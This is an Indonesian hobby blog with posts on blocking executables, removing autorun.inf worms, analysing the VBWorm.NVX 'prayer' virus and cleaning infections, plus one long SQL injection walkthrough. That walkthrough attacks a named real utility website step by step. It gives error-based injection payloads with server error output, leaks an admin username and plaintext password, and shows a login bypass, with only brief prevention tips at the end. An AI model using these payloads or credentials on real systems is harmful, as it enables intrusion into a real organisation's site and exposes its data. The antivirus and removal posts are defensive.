<body><script type="text/javascript"> function setAttributeOnload(object, attribute, val) { if(window.addEventListener) { window.addEventListener("load", function(){ object[attribute] = val; }, false); } else { window.attachEvent('onload', function(){ object[attribute] = val; }); } } </script> <iframe src="http://www.blogger.com/navbar.g?targetBlogID=6717632613199303760&amp;blogName=Sinax89&amp;publishMode=PUBLISH_MODE_BLOGSPOT&amp;navbarType=BLUE&amp;layoutType=CLASSIC&amp;homepageUrl=http%3A%2F%2Fsinax89.blogspot.com%2F&amp;blogLocale=en&amp;searchRoot=http%3A%2F%2Fsinax89.blogspot.com%2Fsearch" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" height="30px" width="100%" id="navbar-iframe" title="Blogger Navigation and Search"></iframe> <div></div>

Thursday, January 22, 2009

Teknik Blokir Semua File Executable

Virus computer yang tersebar sekarang umumnya berupa file executable (*.exe, *.scr; *.com;*.pif) dan file script (seperti *.vbs dan *.bat), bagaimanakah caranya supaya file-file ini tidak dapat dijalankan oleh kita dalam suatu drive termasuk di flashdisk sehingga computer kita tetap aman dari serangan virus karena mungkin saja file virus tersebut menggunakan ikon seperti file dokumen ataupun ikon folder?

Dengan teknik ini, anda dapat memblok semua file script dan executable dalam suatu drive, sehingga tidak ada kemungkinan salah menjalankan program / script yang menyamar seperti file data. Contohnya saat anda mencolokan flashdisk bervirus menjadi drive e, dan drive tersebut telah diblok script dan executablenya sebelumnya, maka sekalipun anda klik berulang kali file virus tersebut, tetap saja file virus tersebut tidak dapat dijalankan dan pesan yang muncul seperti gambar berikut ini :







Kekurangannya adalah teknik ini tidak pandang bulu semua file executable dan script non virus juga tidak dapat dijalankan, jadi berhati-hatilah !!!! Jangan sampai menset blokir di drive system Windows.

Caranya :

1. Buka Control Panel

2. Pilih Administrative Tools

3. Pilih Local Security Policy

4. Selanjutnya pilih Software Restriction Policies, klik kanan padanya pilih Create New Policies

















8. Masukkan alamat drive yang ingin diblokir semua script dan executablenya, misalnya e:\, seperti gambar berikut ini :



























Untuk Security Level, jika anda pilih Unrestricted berarti blokir terbuka dan semua file di drive tersebut dapat dijalankan, tetapi jika Disallowed maka semua file executable dan script tidak dapat dijalankan, hanya file data seperti doc, xls, jpg dan lain-lainnya yang dapat dijalankan secara normal.

Selanjutnya Appy dan OK.

Pada Labtop saya, semua drive untuk data dan flashdisk diblokir, hanya system windows dan CD rom yang dibiarkan terbuka, bahkan folder My Documents saya pun diblokir supaya jika ada file virus yang masuk ke sana, tidak akan dapat dijalankan, kecuali blokir ini dibuka terlebih dahulu, entah dengan mengubah properties path blokiran menjadi Unrestricted ataupun dengan menghapusnya dari system Local Security tersebut. Jadinya seperti gambar berikut ini :















Demikian tutorial ini semoga berguna. Jika kita gunakan secara luas maka teknik ini akan mematikan penyebaran banyak virus executable dan script (*.vbs, *.js, *.bat; *.hta; *.wsf dll), tetapi tidak menutup kemungkinan penyebaran virus macro dan virus html, karena file data seperti document word dan html tetap dapat bekerja.


Sumber : JS



Selengkapnya....

posted by Ibnu Sina Nur @ 3:22:00 PM, , links to this post


Thursday, December 11, 2008

Non-Aktivkan Jantung Virus Worm (Autorun.inf)

Oleh : sinax89

Hi…!!! Friend kali ini saya mau jelasin….tentang VIRUS WORM. Bila komputer anda terserang virus sejenis WORM ( yang anda terima melalui EMAIL atau INTERNET), virus ini akan segera menyebar kembali dengan cara mengirim EMAIL ke semua alamat yang ada pada ADDRESS BOOK anda dan jika virus worm tersebut sudah masuk kedalam tempat penyimpanan data Anda spt : Fladisk, Hardisk dll.. maka virus ini akan menyebar atau membelah seperti cacing. Kemudian pengaruh jika komputer terinfeksi pada virus ini bisanya adalah :



Data Anda yang ada pada drive C terutama data yang berektensi doc akan berubah menjadi EXE. Ini dikarenakan virus worm akan meng-hidden atau menyembunyikan data aslinya dan kemudian membuat data palsu dengan nama file yang sama tetapi berekstensi EXE.

Regedit dan CMD akan diblok oleh virus, ini merupakan pertahanan sederhana yang harus dijaga jika virus ingin bertahan lama pada komputer yang terinfeksi.


Menghilangkan Folder Option, yang berfungsi untuk menjaga agar si user tidak dapat melihat dan menghapus komponen yang ada pada virus. 


Pengaruh dari virus worm di atas merupakan sebagian kecil dari kinerja virus worm. 


Jadi masalahnya adalah Gimana c caranya menonaktivkan atau mematikan jantung virus (Autorun.inf) terutama pada virus Worm yang berekstensi VBS agar virus tidak running pada drive kita ?? 


Emmm... pada seriiusss bacanya yaudah deeeh kita langsung aj.. Gimana cara membasmi autorun.inf jika ada pada suatu drive :


1. Langkah awal jika anda ingin melihat autorun.inf pada drive anda bisa melihatnya dengan cara : pada windows explore, klik toolsfolder Options – pilih tab View – pilih menu Show Hidden Files and Folders

Tetapi jika menu folder Options di blok anda juga bisa melihat dari CMD, dengan cara klik Start – pilih Run – ketik CMD – kemudian ketik drive yang anda mau contoh : jika anda mau pergi ke drive D maka anda ketik D: -  ketik attrib –a –s –h –r , maka file autorun.inf yang sudah di hidden akan dapat terlihat pada drive yang kita tentukan.


2. Setelah file Autorun.inf sudah terlihat maka langkah selanjutnya adalah Anda harus membuat sebuah mantra.... hehehe... (dukun kali) dengan ekstensi BAT. Dengan cara copy-paste coding di bawah ini kedalam NOTEPAD


del /a:r Drive:\autorun.inf
echo ‘virus sudah Di non Aktivkan’ 
> Drive:\autorun.inf&attrib +r Drive:\autorun.inf



Pada kata drive yang berwarna merah adalah tempat penyimpanan atau drive yang didalamnya terdapat file autorun.inf. misal : jika autorun.inf terdapat di drive C maka coding tersebut akan berubah menjadi :


del /a:r C:\autorun.inf
echo ‘virus sudah Di non Aktivkan’ 
> C:\autorun.inf&attrib +r C:\autorun.inf



3. Jika kita sudah menentukan drive dimana drive tersebut merupakan tempat jantung virus worm (autorun.inf) kemudian save as file tersebut dengan format : nama_file.bat, contoh : sinax89.bat dan tempatkan file ini, kedalam drive yang kita tentukan pada contoh di atas berarti pada drive C.

4. kemudian jalankan file tersebut misal pada contoh diatas sinax89.bat yang ada pada drive C. Insya Allah virus worm tersebut tidak akan berkutik lagi.... hehe..


Akhirnya selesai juga.... yaudah.... smoga tutorial ini bermanfaat bagi Anda yang membaca tutorial ini,  termakasih and SELAMAT MENCOBA !!!!





Selengkapnya....

posted by Ibnu Sina Nur @ 10:14:00 PM, , links to this post


Friday, October 31, 2008

SQL Injection

Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?
Anda tahu betapa berbahaya bug yang satu ini ?
Berikut akan kita sajikan step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection 
di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.id
Ada dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.


Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?
Anda tahu betapa berbahaya bug yang satu ini ?
Berikut akan kita sajikan step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection 
di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.id
Ada dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.

Kita ambil yang termudah dulu, dengan cara input box.
Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang
biarkan aja):
' having 1=1--
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
minus dobel (penting).
Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
di www.neoteker.or.id ini (lihat arsip sebelumnya).
Kemudian akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 
'T_ADMIN.NOMOR' is invalid in the select list because 
it is not contained in an aggregate function and 
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
' group by T_ADMIN.NOMOR having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 
'T_ADMIN.NIP' is invalid in the select list because 
it is not contained in either an aggregate 
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 
'T_ADMIN.PASSWORD' is invalid in the select list because 
it is not contained in either an aggregate 
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL 
having 1=1--
(catatan : kalimat harus 1 baris, tidak dipotong)
--------------------
- NIP atau Password atau Unit Anda salah !! -
--------------------
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR 
T_ADMIN.NIP 
T_ADMIN.PASSWORD 
T_ADMIN.NAMA 
T_ADMIN.KD_RANTING 
T_ADMIN.ADDRESS 
T_ADMIN.EMAIL 
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :
' union select sum(NOMOR) from T_ADMIN--
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu 
kita jenis kolom yang dimaksud.
Pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries 
in an SQL statement containing a UNION operator must have 
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
--------------------
artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum 
or average aggregate operation cannot take a char data 
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih 
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax 
error converting the varchar value 'bill ' to 
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where 
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax 
error converting the nvarchar value 'm@mpusk@u' to a 
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan 
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u

Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba 

Atau kita pakai jalan pintas saja....

Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN 
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glhodhak.............
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang 
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah 
parameter id aja (CMIIW).

Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 
'tb_news.NewsId' is invalid in the select list because 
it is not contained in an aggregate function and 
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content => 
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review => 
tb_news.sumber => char
tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
pengetahuan anda.
Anda bisa men-insert berita yang bisa anda tentukan sendiri 
isinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.


******************************************************
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula 
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user 
di SQL Server Security tab.


Yah itulah mungkin yang dapat saya ceritakan.....
Hal itu adalah gambaran, betapa tidak amannya dunia internet...
Kalau mau lebih aman, copot kabel jaringan anda, copot disk
drive anda, copot harddisk anda, jual kompie anda !!!
Just kidding )

Selengkapnya....

posted by Ibnu Sina Nur @ 1:48:00 AM, , links to this post


Thursday, October 30, 2008

Virus Shalat

Apakah Anda seorang Muslim ?

Apakah Anda sudah sholat ?



Di bulan Ramadhan ini, rupanya bukan hanya Acha & Irwansyah dan Ungu yang meluncurkan album berisi lagu-lagu religius baru. Pembuat virus juga tidak mau kalah meluncurkan virus yang “religius”. Lihat saja virus VBWorm.NVX yang setiap jam 13.00 (waktu Dzuhur) 16:00 (waktu Ashar), 18:30 (waktu Maghrib), 20:00 (waktu Isya) dan 5:30 (waktu Subuh) menampilkan pesan “Sudahkan Anda Shalat ?”. Hmm, mungkin lebih baik tidak membuat dan menyebarkan virus ya..... 


Bagaimana dengan kehidupan para Hacker/Cracker dan pembuat virus khususnya virus lokal dalam meyikapi bulan puasa ini? Ternyata masuknya bulan puasa tidak berarti menyurutkan para VM untuk tetap berkreasi walaupun dalam konteks yang berbeda. Jika sudah berada didepan komputer dan mulai menulis sederetan kode mereka sudah tidak memikirkan dampak yang akan ditimbulkan bagi para pengguna komputer, singkat kata Puasa jalan coding juga jalan J, walaupun ada sebagian sang VM yang membuat virus demi untuk kebaikan dan mengajak kejalan kebenaran tetapi jumlahnya sangat sedikit seperti yang dilakukan oleh VBWorm.NVX begitulah Norman Virus Control (lihat gambar 1) memberikan nama untuk virus ini, tetapi justru sangat menggangu bagi sebagian orang yang tidak menghendaki kedatangan VBWorm.MVX ini.


 



Gambar 1, Norman mendeteksi virus pengingat Shalat sebagai VBWorm.NVX


Secara umum VBWorm.MVX tidak lah ganas, selain tidak membuat file duplikat, menyembunyikan file / folder juga tidak sampai melakukan blok terhadap fungsi Windows atau tools security. Tujuannya hanya bersisi seruan untuk melakukan ibadah Sholat seperti yang banyak dilakukan oleh virus Macro. Untuk menyebarkan dirinya VBWorm.MVX masih menggunakan Flash Disk dengan membuat file Explorer.exe dengan ukuran 56 KB.

 
Icon yang digunakan oleh VBWorm.MVX adalah Microsoft Windows Explorer dengan ukuran file sebesar 56 KB (sedangkan file aslinya berukuran 1 KB). File ini mempunyai ekstensi EXE dengan type file sebagai “Application”. Dengan type file yang menyerupai Windows Explorer maka dapat dipastikan akan banyak user yang terjebak untuk menjalankan file tersebut, apalagi saat menjalankan file tersebut akan terbuka jendela My Documents layaknya menjalankan Windows Explorer. (lihat gambar 2)


 


Gambar 2 File induk VBWorm.NVX

Untuk memastikan agar dirinya dapat langsung aktif setiap kali komputer dijalankan, ia akan membuat beberapa file induk yang akan di jalankan setiap kali komputer dinyalakan, diantaranya:
C:\explorer.exe (file ini akan dibuat disetiap drive)
C:\WINDOWS\windowsapp.exe
C:\Documents and Settings\virus\My Documents\explorer.exe
C:\Windows\Yoosa.a

 

Sebagai penunjang agar file tersebut dapat dijalankan, VBWorm.NVX akan membuat beberapa string pada registry berikut:

o HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\4LLI

o HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\ CurrentControlSet\Services\4LLI

o HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\ CurrentControlSet\Services\4LLI

o HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\ CurrentControlSet\Services\4LLI

o HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

§ windowsapp = C:\WINDOWS\windowsapp.exe

 

VBWorm.MXV ini tergolong masih baik karena tidak sampai melakukan blok terhadap fungsi Windows atau tools security, VBWorm.MVX juga tidak akan menyembunyikan file / dokumen dan tidak akan membuat file duplikat seperti yang dilakukan oleh virus lokal pada umumnya.

 

Misi tersembunyi VBWorm.MVX.

Apakah Anda seorang Muslim ?

Apakah Anda sudah sholat ?

 

Itu adalah sederetan pesan yang akan disuguhkan oleh VBWorm.MVX yang akan ditampilkan setiap waktu sholat tiba. Inilah yang menjadi Misi VBWorm.MVX yang mencoba untuk mengingatkan khususnya kaum muslim untuk senantiasa menjalankan sholat. Pesan ini muncul setiap pukul 13.00 (waktu Dzuhur) 16:00 (waktu Ashar), 18:30 (waktu Maghrib), 20:00 (waktu Isya) dan 5:30 (waktu Subuh). Untuk lebih jelasnya silahkan perhatikan gambar 3, 4 dan 5 berikut:
 




Gambar 3



Jika Anda pilih tombol “Ya” maka akan muncul pesan berikut (gambar 4) tetapi jika memilih tombol “Bukan” maka tidak akan terjadi reaksi apa-apa.


 


Gambar 4


Jika Anda memilih tombol “Sudah” maka akan muncul layar konfirmasi berikut (gambar 5), tetapi jika Anda memilih tombol “Belum”, maka komputer secara otomatis akan shutdown (mati).





Gambar 5

 

Mengatasi VBWotm.MVX secara manual

 

1. Putuskan hubungan komputer yang akan dibersihkan dari jaringan

2. Disable “System Restore” selama proses pembersihan berlangsung

3. Matikan proses virus yang aktif dimemori. Untuk mematikan proses virus ini Anda dapat     menggunakan tools Proceexp kemudian matikan proses dengan nama Windowsapp.exe yang mempunyai icon Microsoft Windows Explorer, perhatikan gambar 6 dibawah ini.

 



Gambar 6, Mematikan proses virus VBWorm.MVX di memori


 
4. Hapus file induk yang dibuat oleh Virus. Sebelum menghapus file duplikat tersebut pastikan Anda sudah menampilkan semua file / folder yang disembunyikan kemudian hapus file yang mempunyai ciri-ciri berikut:

 
Menggunakan icon Windows Explorer
Ukuran 56 KB
Ekstensi EXE
Type file Application

 

Berikut contoh file yang akan dibuat oleh VBWorm.MVX

o C:\explorer.exe (file ini akan dibuat disetiap drive)

o C:\WINDOWS\windowsapp.exe

o C:\Documents and Settings\%user% \My Documents\explorer.exe

o C:\Windows\Yoosa.a

 
5. Hapus string registry yang dibuat oleh virus. Untuk mempercepat proses penghapusan silahkan copy script dibawah ini pada program notepad kemudian simpan dengan nama repair.inf. Jalankan file tersebut dengan cara:

 
Klik kanan repair.inf
Klik install

 

[Version]

Signature="$Chicago$"

Provider=Vaksincom Oye

 

[DefaultInstall]

AddReg=UnhookRegKey

DelReg=del

 

[UnhookRegKey]

HKLM, Software\CLASSES\batfile\shell\open\command,,,"""%1"" %*"

HKLM, Software\CLASSES\comfile\shell\open\command,,,"""%1"" %*"

HKLM, Software\CLASSES\exefile\shell\open\command,,,"""%1"" %*"

HKLM, Software\CLASSES\piffile\shell\open\command,,,"""%1"" %*"

HKLM, Software\CLASSES\regfile\shell\open\command,,,"regedit.exe "%1""

HKLM, Software\CLASSES\scrfile\shell\open\command,,,"""%1"" %*"

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, Shell,0, "Explorer.exe"

HKLM, SYSTEM\ControlSet001\Control\SafeBoot, AlternateShell,0, "cmd.exe"

HKLM, SYSTEM\ControlSet002\Control\SafeBoot, AlternateShell,0, "cmd.exe"

HKLM, SYSTEM\CurrentControlSet\Control\SafeBoot, AlternateShell,0, "cmd.exe"

 

[del]

HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, windowsapp

HKLM, SYSTEM\CurrentControlSet\Services\4LLI

HKLM, SYSTEM\ControlSet001\Services\4LLI

HKLM, SYSTEM\ControlSet002\Services\4LLI

HKLM, SYSTEM\ControlSet003\Services\4LLI

 

6. Untuk pembersihan optimal dan mencegah infeksi ulang sebaiknya scan dengan Norman Virus Control yang up-to-date dan sudah dapat mengenali virus ini dengan baik.

7. Jika komputer sudah benar-benar bersih, aktifkan (enable) kembali “System Restore”

Selengkapnya....

posted by Ibnu Sina Nur @ 11:52:00 PM, , links to this post


Menghancurkan Virus Trojan

Threads ini ditujukan untuk membasmi virus-virus baru dan virus Indo yang tidak terdeteksi oleh antivirus yang dipakai pada komputer. Dan juga buat yang bete kalau harus scan komputer cari virus berjam-jam padahal dengan cara ini paling 10 menit beres. Semoga bisa berguna dan bermanfaat.


Bagi netter yang komputernya suka terkena virus, mungkin panduan berikut di bawah ini bisa berguna. Secara teori cara ini bisa membunuh 90% yang beredar, hanya virus macro (word, excel) dan virus yang merusak file (extension EXE) yang susah dibersihkan dengan cara ini, walau bisa dicegah penularannya.


Membasmi Virus Dengan Command Windows

Bila netter merasakan komputer terkena virus, trojan dan spyware (dalam hal ini kita kategorikan semuanya sebagai virus aja), yang biasanya dengan indikasi ada tampilan yang tidak biasanya pada desktop, program yang digunakan dan browser. Sebaiknya langsung menempuh langkah berikut ini:
1. Tahap Pertama, Matikan Virus di Memori

Tekan Ctrl + Alt + Del untuk menampilan Windows Task Manager - Lalu ke bagian "Processes", terus klik bagian "User Name" untuk mengurutkan file yang diproses pada memori. Setelah itu, lihat ada bagian yang mencurigakan atau tidak. Bila banyak yang di-loading pada memori, sebaiknya dimatikan dahulu startup yang otomatis ter-loading pada bagian bawah kanan (ikon speaker dan jam). Matikan semua ikon-ikon tersebut dengan cara "quit" atau "exit" dari programnya.

Loading virus ke memori biasanya berupa EXE file. Langkah ini untuk mencegah virus untuk menyebar terlebih dahulu lewat memori kita. Matikan semua file EXE yang loading di memori kita yang sudah kita urutkan sebelumnya berdasarkan "User Name". Jangan mematikan file yang kategori "System", "Local Service", dan "Network Service", karena bisa membuat sistem kita Hang atau Freeze.

2. Tahap Kedua, Non-aktifkan Virus di Startup
Untuk menon-aktifkan virus supaya tidak terloading ke memori, kita harus membuangnya di startup. Caranya kita bisa menggunakan perintah MSCONFIG, klik menu Start>Run>msconfig - setelah itu akan tampil "System Configuration Utility". Lalu pilihlah "Startup", dalam kasus ini sebaiknya netter yang tidak mengerti mana yang loading virus mana yang bukan, sebaiknya pilih "Disable All". Nantinya netter baru aktifkan kembali startup yang diinginkan kalau virus sudah bersih.

Bila netter yang mengerti file yang loading mana file yang diperlukan, dan mana yang tidak, atau mana yang virus atau bukan, sebaiknya menbuang conteng (check box) pada kotak bagian kiri untuk yang dicurigai sebagai virus. Cara ini akan menonaktifkan virus di startup kita.

3. Tahap Ketiga, Hapus File Virus dari Komputer
Carilah dengan menggunakan fasilitas "search" pada WIndows, klik menu Start>Search, lalu carilah file EXE virus (contoh: Happy.exe) yang sebelumnya loading di memori atau startup. File ini biasanya disimpan oleh pembuatnya di bagian folder Windows atau System32 dari WIndows. Setelah ditemukan, delete atau hapus file tersebut.

4. Tahap Keempat, Hapus Virus dari System Registry
Tahap ini adalah tahap terakhir. Kita harus menggunakan perintah REGEDIT untuk mengubah dan men-delete virus dari registry kita. Pilihlah Start>Run>regedit - lalu ke menu "Edit" pilihlah "Find" (atau tekan Ctrl+F). Masukkan nama file virus yang ingin kita hapus (contoh: Happy.exe), lalu pilih "Find Next". Apabila ditemukan file virus, hapuslah semua registry yang memuat virus tersebut (berikut dengan foldernya kalau ada).

Kemudian lanjutkan dengan menekan tombol "F3" atau di menu pilih "Edit" terus "Find Next". Biasanya file virus diletakkan pada beberapa tempat di registry. Jadi pastikan netter menghapus semuanya sampai bersih, dalam arti registry komputer bebas dari loading virus tersebut. Karena kalau tidak pekerjaan ini akan sia-sia.
Membasmi Virus Dengan Bantuan Program Lain

Ada beberapa tools yang sangat berguna bagi netter untuk mempermudah pembasmian virus, antara lain:

CProcess - Tools ini fungsinya seperti "Windows Task Manager" (Ctrl + Alt +Del). Tools ini sangat bagus sekali untuk mengenali mana yang virus atau bukan karena mengandung informasi detil mengenai file yang terloading di memori. Seperti contoh file yang benar (bukan virus) selalu tertulis nama perusahaan pembuatnya (contoh: Windows buatan Microsoft Corp).

Hijack This - Tools yang sangat bagus sekali sebagai pengganti command MSCONFIG. Sering kali virus mematikan hak akses kita terhadap MSCONFIG supaya kita tidak bisa menghapus file virus yang ter-loading ketika Startup. Nah program ini berfungsi untuk menggantikan MSCONFIG yang tidak bisa aktif. Selain itu program ini bisa mendeteksi lebih mendetil seperti spyware yang inject di dalam browser kita (BHO), dan bisa menonaktifkannya..

CCleaner - Tools yang satu ini selain berguna untuk menggantikan command REGEDIT, juga bisa membersihkan virus di registry secara otomatis. Selain itu CCleaner juga bisa mempercepat akses Windows kamu dengan membersihkan semua sampah-sampah di dalam registry kamu.

PCMAV - Program antivirus buatan PC Media ini terbukti sangat ampuh untuk menghapus virus-virus Indo yang kadang-kadang suka rese.

AVG 8 Free Edition - Program antivirus gratis yang sangat powerful untuk mengatasi virus dari luar negeri.

Selengkapnya....

posted by Ibnu Sina Nur @ 11:46:00 PM, , links to this post


Sunday, October 19, 2008

Download Software

A) Bahasa Pemrograman





  • COBOL



B) Chat



C) Gemes



D) Sofware Pendukung



  1. Flash Player Download Now


Selengkapnya....

posted by Ibnu Sina Nur @ 6:25:00 PM, , links to this post


 

Google